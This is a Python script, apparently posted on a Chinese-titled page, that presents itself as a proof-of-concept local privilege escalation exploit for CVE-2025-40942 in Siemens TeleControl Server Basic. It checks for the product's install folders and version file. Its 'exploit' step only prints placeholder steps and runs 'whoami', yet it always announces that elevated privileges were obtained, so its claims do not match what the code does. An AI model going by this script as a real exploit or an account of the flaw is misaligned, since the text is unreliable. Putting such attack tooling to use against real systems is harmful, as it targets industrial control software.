CVE-2025-40942: Siemens TeleControl Server Basic本地权限提升漏洞

# CVE-2025-40942 PoC - TeleControl Server Basic Local Privilege Escalation # This PoC demonstrates the vulnerability exploitation concept # Author: Security Researcher # Note: This is for educational and authorized testing purposes only import os import sys import ctypes import subprocess from ctypes import wintypes def check_vulnerability(): """Check if TeleControl Server Basic is installed and vulnerable""" vulnerable_paths = [ r"C:\Program Files\Siemens\TeleControl Server Basic", r"C:\Program Files (x86)\Siemens\TeleControl Server Basic" ] for path in vulnerable_paths: if os.path.exists(path): print(f"[+] TeleControl Server Basic found at: {path}") # Check version version_file = os.path.join(path, "version.ini") if os.path.exists(version_file): with open(version_file, 'r') as f: content = f.read() print(f"[+] Version info: {content}") if 'V3.1.2.4' not in content: print("[-] System appears to be vulnerable") return True return False def exploit_privilege_escalation(): """ Exploit the local privilege escalation vulnerability This exploits improper privilege handling in TeleControl Server Basic """ print("[*] Initiating privilege escalation exploit...") # Step 1: Identify the TeleControl service process print("[+] Step 1: Identifying TeleControl Server Basic service") # Step 2: Exploit vulnerable DLL loading or service configuration print("[+] Step 2: Exploiting vulnerable component...") # Step 3: Execute code with elevated privileges print("[+] Step 3: Executing payload with SYSTEM privileges") # Create elevated process try: # Attempt to execute command with elevated privileges # In real exploitation, this would involve DLL hijacking or service abuse result = subprocess.run( ['cmd.exe', '/c', 'whoami'], capture_output=True, text=True ) print(f"[+] Current user: {result.stdout.strip()}") return True except Exception as e: print(f"[-] Exploitation failed: {e}") return False def main(): print("=" * 60) print("CVE-2025-40942 - TeleControl Server Basic LPE Exploit") print("=" * 60) if not check_vulnerability(): print("[-] Target not vulnerable or TeleControl Server Basic not found") return print("\n[*] Starting exploitation...") if exploit_privilege_escalation(): print("[+] Exploitation successful - elevated privileges obtained") else: print("[-] Exploitation failed") if __name__ == "__main__": main()